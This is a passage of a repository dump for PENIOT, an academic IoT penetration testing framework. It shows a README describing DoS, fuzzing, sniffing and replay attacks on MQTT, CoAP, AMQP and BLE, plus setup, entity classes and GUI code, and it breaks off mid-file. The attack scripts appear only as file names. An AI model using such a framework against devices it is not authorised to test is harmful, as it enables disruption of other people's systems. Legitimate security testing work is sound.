Repository: yakuza8/peniot Branch: master Commit: fd1c644653a7 Files: 116 Total size: 418.4 KB Directory structure: gitextract_1myw_xe2/ ├── .gitignore ├── LICENSE ├── README.md ├── setup.py └── src/ ├── Entity/ │ ├── __init__.py │ ├── attack.py │ ├── attack_suite.py │ ├── input_format.py │ └── protocol.py ├── GUI/ │ ├── __init__.py │ ├── custom_widgets.py │ ├── hard_coded_texts.py │ ├── tkinter.py │ └── utils.py ├── Utils/ │ ├── CommonUtil/ │ │ └── __init__.py │ ├── ExtendUtil/ │ │ ├── __init__.py │ │ ├── export_attack_suite_template.py │ │ ├── export_attack_template.py │ │ ├── export_protocol_template.py │ │ ├── export_util.py │ │ └── import_util.py │ ├── FilterUtil/ │ │ ├── __init__.py │ │ └── pyshark_filter_util.py │ ├── FuzzerUtil/ │ │ ├── __init__.py │ │ └── radamsa_util.py │ ├── RandomUtil/ │ │ ├── __init__.py │ │ └── random_generated_names.py │ ├── ReportUtil/ │ │ ├── __init__.py │ │ └── report_generator.py │ ├── SnifferUtil/ │ │ ├── __init__.py │ │ └── generic_sniffer.py │ └── __init__.py ├── __init__.py ├── captured_packets/ │ └── __init__.py ├── module_installer.py ├── peniot.py └── protocols/ ├── AMQP/ │ ├── __init__.py │ ├── amqp_protocol.py │ ├── amqp_scanner.py │ ├── attacks/ │ │ ├── __init__.py │ │ ├── amqp_dos_attack.py │ │ ├── amqp_fuzzing_attack_suite.py │ │ ├── amqp_payload_size_fuzzer.py │ │ └── amqp_random_payload_fuzzing.py │ └── examples/ │ ├── __init__.py │ ├── receiver_example.py │ └── sender_example.py ├── BLE/ │ ├── Adafruit_BLESniffer/ │ │ ├── .gitignore │ │ ├── API Manifest.txt │ │ ├── LICENSE.txt │ │ ├── README.md │ │ ├── SnifferAPI/ │ │ │ ├── CaptureFiles.py │ │ │ ├── Devices.py │ │ │ ├── Exceptions.py │ │ │ ├── Logger.py │ │ │ ├── Notifications.py │ │ │ ├── Packet.py │ │ │ ├── Sniffer.py │ │ │ ├── SnifferCollector.py │ │ │ ├── UART.py │ │ │ ├── Version.py │ │ │ ├── __init__.py │ │ │ └── myVersion.py │ │ ├── __init__.py │ │ ├── documentation.html │ │ ├── requirements.txt │ │ ├── setup.cfg │ │ ├── sniffer.py │ │ ├── sniffer_uart_protocol.xlsx │ │ └── wireshark_dissector_source/ │ │ ├── OSX/ │ │ │ └── readme.md │ │ ├── packet-btle.c │ │ └── packet-nordic_ble.c │ ├── BLETest.py │ ├── __init__.py │ ├── attacks/ │ │ ├── __init__.py │ │ ├── ble_replay_attack.py │ │ └── ble_sniff_attack.py │ ├── ble_advertiser.py │ ├── ble_device.py │ ├── ble_protocol.py │ ├── ble_replay_attack.py │ ├── ble_sniff.py │ └── ble_tools.py ├── CoAP/ │ ├── __init__.py │ ├── attacks/ │ │ ├── __init__.py │ │ ├── coap_dos_attack.py │ │ ├── coap_fuzzing_attack_suite.py │ │ ├── coap_payload_size_fuzzer.py │ │ ├── coap_random_payload_fuzzing.py │ │ ├── coap_replay_attack.py │ │ └── coap_sniff_attack.py │ ├── coap_protocol.py │ ├── coap_scanner.py │ └── examples/ │ ├── __init__.py │ ├── client_example.py │ ├── resource_example.py │ └── server_example.py ├── MQTT/ │ ├── __init__.py │ ├── attacks/ │ │ ├── __init__.py │ │ ├── mqtt_dos_attack.py │ │ ├── mqtt_fuzzing_attack_suite.py │ │ ├── mqtt_generation_based_fuzzing.py │ │ ├── mqtt_payload_size_fuzzer.py │ │ ├── mqtt_random_payload_fuzzing.py │ │ ├── mqtt_replay_attack.py │ │ ├── mqtt_sniff_attack.py │ │ └── mqtt_topic_name_fuzzing.py │ ├── examples/ │ │ ├── Demo/ │ │ │ ├── __init__.py │ │ │ ├── demo_publisher.py │ │ │ └── demo_subscriber.py │ │ ├── __init__.py │ │ ├── publisher_example.py │ │ └── subscriber_example.py │ ├── mqtt_protocol.py │ └── mqtt_scanner.py └── __init__.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ wheels/ *.egg-info/ .installed.cfg *.egg MANIFEST # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .nox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *.cover .hypothesis/ .pytest_cache/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py db.sqlite3 # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder target/ # Jupyter Notebook .ipynb_checkpoints # IPython profile_default/ ipython_config.py # pyenv .python-version # celery beat schedule file celerybeat-schedule # SageMath parsed files *.sage.py # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ # Spyder project settings .spyderproject .spyproject # Rope project settings .ropeproject # mkdocs documentation /site # IntelliJ .idea/ /out/ src/logging.conf ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2018 Berat Cankar, Bigehan Bingöl, Doğukan Çavdaroğlu, Ebru Çelebi Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # PENIOT: Penetration Testing Tool for IoT #### Table of Contents * [Project Description](#Project-Description) * [What is PENIOT?](#What-is-PENIOT) * [Why is PENIOT required?](#Why-is-PENIOT-required) * [What does PENIOT provide?](#What-does-PENIOT-provide) * [Build Instructions](#Build-Instructions) * [Documentation](#Documentation) * [Testing](#Testing) * [Contributors](#Contributors) * [Developer's Note](#Developers-Note) * [Project Poster](#Project-Poster) ## Project Description ### What is PENIOT? [PENIOT](https://senior.ceng.metu.edu.tr/2019/peniot/) is a penetration testing tool for Internet of Things (IoT) devices. It helps you to test/penetrate your devices by targeting their internet connectivity with different types of security attacks. In other words, you can expose your device to both active and passive security attacks. After deciding target device and necessary information (or parameters) of that device, you can perform active security attacks like altering/consuming system resources, replaying valid communication units and so on. Also, you can perform passive security attacks such as breaching of confidentiality of important information or reaching traffic analysis. Thanks to PENIOT, all those operations can be semi-automated or even fully automated. In short, PENIOT is a package/framework for targeting IoT devices with protocol based security attacks. Also, it gives you a baseline structure for your further injections of new security attacks or new IoT protocols. One of the most important features of PENIOT is being extensible. By default, it has several common IoT protocols and numerous security attacks related to those protocols. But, it can be extended further via exporting basic structure of internally used components so that you can develop your attacks in harmony with the internal structure of the PENIOT. ### Why is PENIOT required? The IoT paradigm has experienced immense growth in the past decade, with billions of devices connected to the Internet. Most of these devices lack even basic security measures due to their capacity constraints and designs made without security in mind due to the shortness of time-to-market. Due to the high connectivity in IoT, attacks that have devastating effects in extended networks can easily be launched by hackers through vulnerable devices. Up until now, penetration testing was done manually if it was not ignored at all. This procedure made testing phase of devices very slow. On the other hand, the firms which produce IoT devices should always be up to date on testing their devices in terms of reliability, robustness as well as their provided functionalities since being exposed to security attacks by malicious people could cause unexpected impacts on end-users. The main aim of PENIOT is to accelerate the process of security testing. It enables you to figure out security flaws on your IoT devices by automating the time consuming penetration testing phase. ### What does PENIOT provide? First of all, PENIOT provides novelty. It is one of the first examples of penetration testing tools on IoT field. There are only one or two similar tools which are specialized on IoT, but they are still on development phase, so not completed yet. Since the number of IoT devices is increasing drastically, IoT devices become more and more common in our daily life. Smart homes, smart bicycles, medical sensors, fitness trackers, smart locks and connected factories are just a few examples of IoT products. Given this, we felt the need to choose some of the most commonly used IoT protocols to plant into PENIOT by default. We chose the following protcols as the default IoT protocols included in the PENIOT. These IoT protocols are tested with various types of security attacks such as DoS, Fuzzing, Sniffing and Replay attacks. Following protocols are currently supported: * Advanced Message Queuing Protocol ([AMQP](https://www.amqp.org/)) * Bluetooth Low Energy ([BLE](https://www.bluetooth.com/)) * Constraint Application Protocol ([CoAP](https://coap.technology/)) * Message Queuing Telemetry Transport ([MQTT](http://mqtt.org/)) Moreover, it enables you to export internal mainframe of its own implemented protocol and attacks to implement your own protocols or attacks. Also, you can extend already existing protocols with your newly implemented attacks. And lastly, it provides you an easy to use, user friendly graphical user interface. ## Build Instructions Firstly, you need to have Python's **setuptools** module installed in your machine. Also, you need to install **python-tk** and **[bluepy](https://github.com/IanHarvey/bluepy)** before installation and build. In short, you need the followings before running installation script. * setuptools * python-tk * bluepy > Note that it is suggested to have a separate virtual environment particularly created > for Peniot since the dependent libraries are pretty old and can cause some trouble to > install them among your existing external libraries You can build project in your local by executing following codes. ```shell $ git clone git@github.com:yakuza8/peniot.git $ cd peniot $ python setup.py install ``` Even if we try to provide you up-to-date installation script, there can be some missing parts in it since the project cannot be maintained so long. Please inform us if there is any problem with installation. **Important Note**: You need to have [Radamsa](https://gitlab.com/akihe/radamsa) installed in your machine in order for generating fuzzing payloads in fuzzing attacks. ## Execution You can run Peniot via command line or your favorite IDE after setting up a virtual environment and installing the necessary libraries described above. ```shell $ python src/peniot.py ``` After running this command, you should see an user interface appeared. Then you can explore the tool by yourself. ## Documentation You can find *Design Overview Document* and *Final Design Document* under the **resources/documents** folder. Several diagrams are attached under the **resources/diagrams** folder. Here is the simplest representation of how PENIOT is separated modules and how it is designed.

## Testing Most of the attacks have their own sample integration tests under their attack scripts. In order to run those tests, you need to have a running program for the target protocol. We try to provide you with example programs for each protocol where one can find server/client scripts under each protocol's **examples** directory. ## Contributors This project is contributed by the following project members: - Berat Cankar - Bilgehan Bingöl - Doğukan Çavdaroğlu - Ebru Çelebi and is supervised by **Pelin Angın**. ## Developer's Note Firstly, let me thank you for visiting our project site. We tried to provide you how one can penetrate and hack IoT devices over the protocols they use thanks to end-to-end security attacks. Our main purpose is to hack those devices with generic security attacks. One can simply find specific attacks for any protocol, but as I said ours was to provide generic and extendable penetration framework. Secondly, PENIOT is developed with **Python2.7**. And our code maybe had gone into *legacy state*. But nevertheless, we wanted to share it to public so that anyone could get insight and inspiration to develop their own penetration tools, that is what makes us happy if it could happen. Thirdly, we also will try to port our tool into **Python3** if we can spare necessary time for that. When it happens, we will inform it from this page as well. Thanks for your attention. Developer: @yakuza8 (Berat Cankar) ## Project Poster

================================================ FILE: setup.py ================================================ from os import path from setuptools import setup, find_packages import sys sys.path.insert(0, "src") with open(path.join(".", "README.md")) as f: long_description = f.read() setup( name="Peniot", version="1.0", description="Penetration Testing Tool for IoT devices", long_description=long_description, author="Berat Cankar,Bilgehan Bingol,Ebru Celebi,Dogukan Cavdaroglu", url="https://senior.ceng.metu.edu.tr/2019/peniot/", platform="Unix", packages=find_packages(), include_package_data=True, install_requires=[ "Cython", "paho-mqtt", "scapy", "pyshark-legacy", "coapthon", "fpdf", "pygame==1.9.4", "pika", "pexpect", "enum", ], classifiers=["Programming Language :: Python :: 2.7.9"], ) ================================================ FILE: src/Entity/__init__.py ================================================ """ This package contains the following entities: 1) Protocol 2) Attack Suite 3) Attack 4) Input Format In this module, we have the backend entities to represent and structure our code And these entities have the following relations in between: (Connection endpoints represent cardinality of entity) - Protocol 1----------* Attack Suite - Attack suite 1----------* Attack - Attack 1----------* Input format """ ================================================ FILE: src/Entity/attack.py ================================================ import logging from GUI import hard_coded_texts as hct class Attack(object): name = None inputs = [] default_parameters = [] def __init__(self, name, inputs, default_parameters, definition, logger=None): self.name = name self.inputs = inputs self.default_parameters = default_parameters self.definition = definition if logger is None: self.logger = logging.getLogger(hct.get_logger_name()) else: self.logger = logging.getLogger("Default logger") # Load default parameters into input format values self.load_default_parameters() def get_attack_name(self): return self.name def set_attack_name(self, name): self.name = name return self def get_inputs(self): return self.inputs def set_inputs(self, inputs): self.inputs = inputs return self def insert_input(self, _input): if self.inputs is not None: self.inputs.append(_input) def get_default_parameters(self): return self.default_parameters def set_default_parameters(self, default_parameters): self.default_parameters = default_parameters return self def insert_default_parameters(self, _default_parameter): if self.default_parameters is not None: self.default_parameters.append(_default_parameter) def get_definition(self): return self.definition def set_definition(self, definition): self.definition = definition def set_input_value(self, input_name): for _input in self.inputs: if _input.get_name() == input_name: setattr(self, _input.get_name(), _input.get_value()) def run(self): # Set all the input values of the class, then show begins for _input in self.inputs: setattr(self, _input.get_name(), _input.get_value()) # Will be filled by inherited class def stop_attack(self): pass # Will be filled by attacks def load_default_parameters(self): for _input_index, _input in enumerate(self.inputs): _input.set_value(self.default_parameters[_input_index]) ================================================ FILE: src/Entity/attack_suite.py ================================================ class AttackSuite(object): name = None attacks = [] def __init__(self, name, attacks): self.name = name self.attacks = attacks def get_attack_suite_name(self): return self.name def set_attack_suite_name(self, name): self.name = name return self def get_attacks(self): return self.attacks def set_attacks(self, attacks): self.attacks = attacks return self def insert_attack(self, attack): if self.attacks is not None: self.attacks.append(attack) def run(self): for attack in self.attacks: attack.run() ================================================ FILE: src/Entity/input_format.py ================================================ class InputFormat(object): def __init__(self, label_name, name, value, _type, default_value=None, mandatory=False, secret=False, from_captured_packets=False): self.label_name = label_name self.name = name self.value = value self.type = _type self.mandatory = mandatory self.default_value = default_value self.secret = secret self.from_captured_packets = from_captured_packets def get_label_name(self): return self.label_name def set_label_name(self, label_name): self.label_name = label_name return self def get_name(self): return self.name def set_name(self, name): self.name = name return self def get_value(self): return self.value def set_value(self, value): self.value = value return self def get_type(self): return self.type def set_type(self, _type): self.type = _type return self def set_mandatory(self, mandadory): self.mandatory = mandadory return self def is_mandatory(self): return self.mandatory def set_default_value(self, default_value): self.default_value = default_value return self def get_default_value(self): return self.default_value def is_secret(self): return self.secret def set_secret(self, secret): self.secret = secret return self def is_from_captured_packets(self): return self.from_captured_packets def set_from_captured_packets(self, from_captured_packets): self.from_captured_packets = from_captured_packets return self ================================================ FILE: src/Entity/protocol.py ================================================ class Protocol(object): name = None attack_suites = [] def __init__(self, name, attack_suites, definition): self.name = name self.attack_suites = attack_suites self.definition = definition def get_protocol_name(self): return self.name def set_protocol_name(self, name): self.name = name return self def get_attack_suites(self): return self.attack_suites def set_attack_suites(self, attack_suites): self.attack_suites = attack_suites return self def get_definition(self): return self.definition def set_definition(self, new_def): self.definition = new_def return self def insert_attack_suite(self, attack_suite): if self.attack_suites is not None: self.attack_suites.append(attack_suite) ================================================ FILE: src/GUI/__init__.py ================================================ """ This package includes graphical user interface of PENIOT """ ================================================ FILE: src/GUI/custom_widgets.py ================================================ from Tkinter import * from hard_coded_texts import get_project_name class Header(Frame): """ Generic header template class which is used for construction of different screens """ def __init__(self, parent_window): Frame.__init__(self, parent_window) # Configure the window self.configure(background="white") # Create the header header = Label(self, text=get_project_name(), width=55, font=("Arial", 20), height=5) header.grid() header.configure(background="white") class CustomButton(Button): """ Generic button template to use them throughout the screens """ def __init__(self, parent_window, text, _function, row, columnspan=None, sticky=None, column=None, height=2, foreground="black"): Button.__init__(self, parent_window, command=_function, text=text, font=("Arial", 15), borderwidth=0, height=height, highlightthickness=0, background="white", foreground=foreground) self.grid(row=row, columnspan=columnspan, sticky=sticky, column=column) class CustomLabel(Label): """ Generic label template to use them throughout the screens """ def __init__(self, parent_window, text, row, column, rowspan=None, columnspan=None, sticky=None): Label.__init__(self, parent_window, text=text, font=("Arial", 15)) self.grid(row=row, column=column, rowspan=rowspan, columnspan=columnspan, sticky=sticky) class CustomRadiobutton(Radiobutton): """ Generic radio button template to use them throughout the screens """ def __init__(self, parent_window, text, row, column, sticky, variable, value): Radiobutton.__init__(self, parent_window, text=text, font=("Arial", 13), variable=variable, value=value) self.grid(row=row, column=column, sticky=sticky) ================================================ FILE: src/GUI/hard_coded_texts.py ================================================ """ This file contains some methods which return hard-coded texts and constant texts """ # Window title, size and background color project_title = "Peniot" window_size = "800x650" window_background_color = "white" mandatory_fields_background_color = "red" # Button labels start_testing_label = "Start Testing" extend_peniot_label = "Extend Peniot" view_captured_packets = "View Captured Packets" help_label = "Help" back_to_menu_label = "Back to menu" about_us_label = "About us" footer_label = "2018-2019 CENG Term Project" go_to_input_page = "Go to input page" back_to_attack_selection_page = "Back to attacks selection" back_to_attack_suite_page = "Back to the attack suite page" back_to_attack_details = "Back to attacks details" perform_attack = "Perform the attack" load_default_parameters = "Load default parameters" stop_attack_go_back = "Stop the attack and go back" generate_report = "Generate report" # Settings for logger logging_format = "%(asctime)s:%(levelname)s:%(name)s:%(message)s" logger_name = "Attack Reporting Page" # Color for the console console_background_color = "black" console_foreground_color = "white" def get_project_name(): return "Peniot:Penetration testing tool for Internet of Things" def get_about_us(): return "The developers of PENIOT project are the following : \n" \ " Berat Cankar\n" \ " Bilgehan Bingol\n" \ " Dogukan Cavdaroglu\n" \ " Ebru Celebi\n" \ "The supervisor of the project is :\n" \ " Asst. Prof. Dr. Pelin Angin " def get_help(): return "PENIOT enables users to test their IoT devices.For now,it supports the \n" \ "following protocols:\n" \ " * MQTT\n" \ " * CoAP\n" \ " * BLE\n" \ " * AMQP\n" \ "For each protocol, there is at least one attack.After selecting protocol\n" \ "and attacks, you just need to provide some information about your\n" \ "device or network.PENIOT will handle the rest while you are resting.\n" \ "At the end, it will provide a report which states the results of the performed attack.\n" def get_extension_help(): return "Extension utility which enables you to export internal structure of entities\n" \ "(Attack, AttackSuite and Protocol) or import your implemented entities into\n" \ "Peniot so that you can simulate/execute your own implementations." def get_logger_name(): """ Returns the logger name we will use for reporting the attack results """ return logger_name ================================================ FILE: src/GUI/tkinter.py ================================================ import logging import tkFileDialog import ttk from threading import Timer from custom_widgets import * from hard_coded_texts import * from utils import * from Entity.attack import Attack from Entity.attack_suite import AttackSuite from Utils import CommonUtil from Utils.ExtendUtil.export_util import ExportUtil, ExportOptions from Utils.ExtendUtil.import_util import ImportUtil, ImportOptions from Utils.ReportUtil.report_generator import GenerateReport root = None class HomePage(Frame): """ This is the first page which users see when they start the application. It simply contains a menu with the following options: - Start Testing - Help - About us """ def __init__(self, parent_window): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Create the header Header(self).grid(row=0) # Start testing button CustomButton(self, start_testing_label, lambda: change_frame(self, ProtocolsPage(root)), 1) # Extension button CustomButton(self, extend_peniot_label, lambda: change_frame(self, ExtensionPage(root)), 2) # View captured packets button CustomButton(self, view_captured_packets, lambda: change_frame(self, ViewCapturedPackets(root)), 3) # Help button CustomButton(self, help_label, lambda: change_frame(self, Help(root)), 4) # About us button CustomButton(self, about_us_label, lambda: change_frame(self, AboutUs(root)), 5) # Footer footer = Label(self, text=footer_label, width=55, font=("Arial", 20), height=5) footer.grid(row=6) footer.configure(background=window_background_color) # Make it visible self.grid() class AboutUs(Frame): """ This page displays information about the developers of the project. """ def __init__(self, parent_window): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Create the header Header(self).grid(row=0) # Information about us info_about_us = Label(self, text=get_about_us(), width=55, anchor=W, justify=LEFT, font=("Arial", 15), height=10) info_about_us.grid(row=1) info_about_us.configure(background=window_background_color) # Back to menu button CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), 2) # Make it visible self.grid() class Help(Frame): """ This page displays information about the tool. """ def __init__(self, parent_window): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Create the header Header(self).grid(row=0) # Information about us info_about_us = Label(self, text=get_help(), width=70, anchor=W, justify=LEFT, font=("Arial", 15), height=10) info_about_us.grid(row=1) info_about_us.configure(background=window_background_color) # Back to menu button CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), 2) # Make it visible self.grid() class ViewCapturedPackets(Frame): """ This page enables users to download captured packets. """ CAPTURED_PACKET_PATH = os.path.dirname(os.path.abspath(__file__))[:-4] + "/captured_packets/" def __init__(self, parent_window): Frame.__init__(self, parent_window) # Generate content self.generate_content() # Make it visible self.grid() def generate_content(self): """ This method is used to generate rows representing the files """ # Destroy the existing widgets for widget in self.winfo_children(): widget.destroy() # Configure the window self.configure(background=window_background_color) # Create the header Header(self).grid(row=0, columnspan=4) # Row index row_index = 1 # Get the file names file_names = get_captured_packet_files() for file_name in file_names: # Remove .txt part file_name_without_extension = file_name[:-4] info = file_name_without_extension.split("_") # Protocol name protocol_name = Label(self, text=info[0]) protocol_name.grid(row=row_index, column=0) protocol_name.configure(background=window_background_color) # Date date = Label(self, text=info[1] + " " + info[2]) date.grid(row=row_index, column=1) date.configure(background=window_background_color) # Download button CustomButton(self, "Download", lambda file_name=file_name: self.download_file(file_name), row_index, None, None, 2) # Delete button print file_name CustomButton(self, "Delete", lambda file_name=file_name: self.delete_captured_packets_file(file_name), row_index, None, None, 3) # Increment row index row_index = row_index + 1 # Back to menu button CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), row_index, 3) self.grid() def delete_captured_packets_file(self, file_name): """ This method is used to delete a captured packets file """ os.remove(self.CAPTURED_PACKET_PATH + file_name) # Generate content self.generate_content() def download_file(self, file_name): """ This methods is used to export the selected packets file. """ # Get the directory directory_name = tkFileDialog.askdirectory(initialdir=os.getcwd(), title="Select directory to download packets") try: # Read the file packets_file = os.open(os.path.dirname(os.path.abspath(__file__))[:-4] + "/captured_packets/" + file_name, os.O_RDONLY) # Open a file new_file = os.open(directory_name + "/" + file_name, os.O_RDWR | os.O_CREAT) # Copy the file content while True: data = os.read(packets_file, 2048) if not data: break os.write(new_file, data) # Close the files os.close(packets_file) os.close(new_file) # Create pop-up pop_up_window(root, None, "Downloaded successfully") except Exception as e: if len(directory_name) == 0: return else: pop_up_window(root, None, "Download operation is failed because of\n{0}".format(e), justify=CENTER) class ProtocolsPage(Frame): """ This page displays the possible options for protocols. """ def __init__(self, parent_window): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Create the header Header(self).grid(row=0, columnspan=2) # Get protocols protocols = get_protocols() # Current row index row_index = 1 # Create a button for each protocols for protocol in protocols: # Create the button for the protocol CustomButton(self, protocol["protocol"].get_protocol_name(), lambda selected_protocol=protocol: change_frame(self, AttacksPage(root, selected_protocol)), row_index, None, E, 0) CustomButton(self, "?", lambda selected_protocol=protocol: pop_up_window(root, selected_protocol[ "protocol"].get_protocol_name(), selected_protocol[ "protocol"].get_definition()), row_index, None, W, 1) # Increment the row index row_index = row_index + 1 # Back to menu button CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), row_index, 2) # Make it visible self.grid() class ExtensionPage(Frame): """ This page displays the extension options and help button that explains how to extend for PENIOT. """ def __init__(self, parent_window): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Create the header Header(self).grid(row=0, columnspan=2) # Current row index row_index = 1 # Export button CustomButton(self, "Export", lambda: change_frame(self, ExportPage(root)), row_index, None, E, 0) row_index = row_index + 1 # Import button CustomButton(self, "Import", lambda: change_frame(self, ImportPage(root)), row_index, None, E, 0) row_index = row_index + 1 # Help button CustomButton(self, help_label, lambda: change_frame(self, ExtensionHelp(root)), row_index, 2) row_index = row_index + 1 # Back to menu button CustomButton(self, back_to_menu_label, lambda: change_frame(self, HomePage(root)), row_index, 2) # Make it visible self.grid() class ImportPage(Frame): """ These pages make the user select import or export options """ def __init__(self, parent_window): Frame.__init__(self, parent_window) self.file_path = "" self.option = ImportOptions.ATTACK_OR_ATTACK_SUITE # Configure the window self.configure(background=window_background_color) # Create the header Header(self).grid(row=0, columnspan=4) row_index = 1 CustomLabel(self, text="Option:", row=row_index, column=0, sticky=E) option_combo_box = ttk.Combobox(self, values=["Protocol", "Attack or Attack Suite"], font=("Arial", 15)) option_combo_box.grid(row=row_index, column=1, sticky=W + E, columnspan=2) option_combo_box.bind("<>", lambda x: combobox_element_changed(option_combo_box, protocol_name_label, self.protocol_name_combo_box)) option_combo_box.current(1) row_index = row_index + 1 protocol_name_label = CustomLabel(self, text="Protocol Name:", row=row_index, column=0, sticky=E) self.protocol_name_combo_box = ttk.Combobox(self, font=("Arial", 15)) self.protocol_name_combo_box.grid(row=row_index, column=1, sticky=W + E, columnspan=2) self.protocol_name_combo_box.bind("<>", lambda x: combobox_protocol_name_changed(self.protocol_name_combo_box)) row_index = row_index + 1 # Names of available protocols self.protocol_names = [] # Get protocol names self.get_protocol_names() self.selected_protocol = self.protocol_names[0] CustomLabel(self, text="File Path:", row=row_index, column=0, sticky=E) file_path_entry = Entry(self, font=("Arial", 15)) file_path_entry.grid(row=row_index, column=1, sticky=W + E, columnspan=2) CustomButton(self, "Select File", lambda: get_file_path(file_path_entry), row_index, None, W, 3, height=1) row_index = row_index + 1 CustomButton(self, "Import", lambda: self.import_button_click(file_path_entry.get(), self.option, self.selected_protocol), row_index, None, W, 3) CustomButton(self, back_to_menu_label, lambda: change_frame(self, ExtensionPage(root)), row_index, None, E, 0) for col in range(5): self.columnconfigure(col, weight=1) for row in range(8): self.rowconfigure(row, weight=1) self.grid() def get_file_path(entry): self.file_path = tkFileDialog.askopenfilename() entry.delete(0, END) entry.insert(0, self.file_path) def combobox_element_changed(combo, label, combobox): if combo.get() == "Protocol": label.grid_forget() combobox.grid_forget() self.option = ImportOptions.PROTOCOL else: label.grid(row=2, column=0, sticky=E) combobox.grid(row=2, column=1, sticky=W + E, columnspan=2) self.option = ImportOptions.ATTACK_OR_ATTACK_SUITE def combobox_protocol_name_changed(combo): self.selected_protocol = combo.get() def import_button_click(self, file_path, option, selected_protocol): try: if not os.path.isfile(file_path): pop_up_window(root, None, "Please select a valid file.") return ImportUtil.import_action(file_path, option, selected_protocol) # Update the protocol list since the user may import a new protocol self.get_protocol_names() pop_up_window(root, None, "Files are imported successfully") except Exception as e: pop_up_window(root, None, "Import operation is failed because of\n{0}".format(e), justify=CENTER) def get_protocol_names(self): protocols = get_protocols() self.protocol_names = [] for protocol in protocols: self.protocol_names.append(protocol["protocol"].get_protocol_name()) self.protocol_name_combo_box['values'] = self.protocol_names class ExportPage(Frame): def __init__(self, parent_window): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) # Create the header Header(self).grid(row=0, columnspan=4) s = ttk.Style() s.configure(".", font=("Arial", 15)) tab_control = ttk.Notebook(self) attack_tab = TabFrame(tab_control, ExportOptions.ATTACK) tab_control.add(attack_tab, text="Attack") attacksuite_tab = TabFrame(tab_control, ExportOptions.ATTACK_SUITE) tab_control.add(attacksuite_tab, text="Attack Suite") protocol_tab = TabFrame(tab_control, ExportOptions.PROTOCOL) tab_control.add(protocol_tab, text="Protocol") tab_control.grid(row=1, column=0, columnspan=4, rowspan=3, sticky=W + E + S + N) CustomButton(self, back_to_menu_label, lambda: change_frame(self, ExtensionPage(root)), 7, None, E, 1) self.grid() class TabFrame(Frame): def __init__(self, parent_window, option): Frame.__init__(self, parent_window) # Configure the window self.configure(background=window_background_color) self.file_path = None row = 0 CustomLabel(self, text="Protocol Name:", row=row, column=1, sticky=E) protocol_name_entry = Entry(self, font=("Arial", 15)) protocol_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2) row = row + 1 attack_name_entry = Entry(self, font=("Arial", 15)) if option == ExportOptions.ATTACK: CustomLabel(self, text="Attack Name:", row=row, column=1, sticky=E) attack_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2) row = row + 1 attack_suite_name_entry = Entry(self, font=("Arial", 15)) if option == ExportOptions.ATTACK_SUITE: CustomLabel(self, text="Attack Suite Name:", row=row, column=1, sticky=E) attack_suite_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2) row = row + 1 CustomLabel(self, text="File Path:", row=row, column=1, sticky=E) file_path_entry = Entry(self, font=("Arial", 15)) file_path_entry.grid(row=row, column=2, sticky=W + E, columnspan=2) CustomButton(self, "Select File Path", lambda: get_file_path(file_path_entry), row, None, W, 4, height=1) row = row + 1 CustomLabel(self, text="File Name:", row=row, column=1, sticky=E) file_name_entry = Entry(self, font=("Arial", 15)) file_name_entry.grid(row=row, column=2, sticky=W + E, columnspan=2) row = row + 1 rad_var = IntVar() for export_index, export_option in enumerate(ExportUtil.get_export_texts_and_values()): export_value = export_option.get("value") if export_index == 0: rad_var.set(export_value) CustomRadiobutton(self, text=export_option.get("text"), row=row, column=2, sticky=W + S, variable=rad_var, value=export_value) row = row + 1 CustomButton(self, "Export", lambda: export_button_click(protocol_name=protocol_name_entry.get(), attack_name=attack_name_entry.get(), attack_suite_name=attack_suite_name_entry.get(), file_path=file_path_entry.get(), file_name=file_name_entry.get(), extension=rad_var.get(), option=option), row, None, W, 4) for col in range(5): self.columnconfigure(col, weight=1) for row in range(8): self.rowconfigure(row, weight=1) self.grid() def get_file_path(entry): self.file_path = tkFileDialog.askdirectory() entry.delete(0, END) entry.insert(0, self.file_path) def export_button_click(protocol_name, attack_name, attack_suite_name, file_path, file_name, extension, option): try: if not os.path.exists(file_path): pop_up_window(root, None, "Please enter a valid file path.") return ExportUtil.export_action(protocol_name=protocol_name, attack_name=attack_name, attack_suite_name=attack_suite_name, file_path=file_path, file_name=file_name, extension=extension, option=option) pop_up_window(root, None, "Files are exported 